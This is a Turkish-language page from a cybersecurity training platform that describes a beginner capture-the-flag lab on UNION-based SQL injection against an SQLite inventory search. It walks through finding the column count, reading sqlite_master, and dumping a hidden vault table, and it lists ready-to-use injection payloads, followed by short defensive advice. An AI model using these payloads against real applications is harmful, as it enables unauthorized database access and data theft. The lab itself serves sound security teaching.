Ana Sayfa / Laboratuvarlar / UNION Tabanlı SQL Injection & Tablo Dökümü
SQLi (SQL Injection) Başlangıç (Apprentice) ⏱️ 15 Dakika 🛡️ OWASP Top 10 - A03: Injection

UNION Tabanlı SQL Injection & Tablo Dökümü

Orijinal SQL sorgusuna UNION operatörü ekleyerek ek bir SELECT sorgusu çalıştırma ve sistem tablolarından veri sızdırma zafiyetidir.

Laboratuvarı Tarayıcınızda Canlı Deneyin

Kurulumsuz, sanal hedef tarayıcı ve web terminali ile doğrudan zafiyeti istismar edin.

Laboratuvara Gir ⚡

Görev ve Zafiyet Senaryosu

Envanter arama sayfası /inventory?search=... sorgusunu doğrudan SQLite tablosuna yönlendirir. ORDER BY yöntemiyle kolon sayısının 4 olduğu tespit edilir. Ardından UNION SELECT ile veritabanı katalog tabloları okunur.

Hedef (Objective)

🎯 Görev: Envanter arama parametresinde kolon sayısını tespit edin, UNION SELECT ile sqlite_master tablosundan tablo adlarını ve gizli kasayı (vault) dökerek bayrağı alın.

Adım Adım Çözüm Metodolojisi

1

Kolon Sayısı Keşfi

' ORDER BY 1--, ' ORDER BY 4-- ve ' ORDER BY 5-- göndererek kaç sütunun seçildiğini tespit edin.

2

Veri Tiplerini Eşleştirme

' UNION SELECT 'a','b','c','d'-- yükü ile ekranda hangi sütunların metin yansıttığını görün.

3

sqlite_master Tablo Analizi

' UNION SELECT 1, tbl_name, sql, 4 FROM sqlite_master WHERE type='table'-- ile gizli tabloları listeleyin.

4

Hassas Tablodan Veri Çekme

Gizli tablodaki kolonları seçerek bayrağı ve yönetici bilgilerini ekrana dökün.

Örnek Payload ve İstismar Kalıpları

' ORDER BY 4--
' UNION SELECT 1,2,3,4--
' UNION SELECT 1, tbl_name, sql, 4 FROM sqlite_master WHERE type='table'--
' UNION SELECT 1, flag_value, notes, 4 FROM secret_vault--

Güvenli Kodlama ve Savunma Mekanizmaları

Zafiyet Nasıl Kapatılır?

  • Geliştiriciler arama ve filtreleme parametrelerinde daima Prepared Statements kullanmalıdır.
  • Veritabanı kullanıcısına yalnızca ihtiyaç duyduğu tablolara okuma izni veren En Düşük Yetki Prensibi (Least Privilege) uygulanmalıdır.
  • Ayrıntılı veritabanı hata mesajlarının istemciye dönmesi engellenmeli ve loglanmalıdır.

Uygulamaya Başlamaya Hazır mısınız?

SiberAdam interaktif arenasında hedef tarayıcı, DevTools ve CyberTerminal ile bayrağı hemen yakalayın.

Şimdi Çözmeye Başla ⚡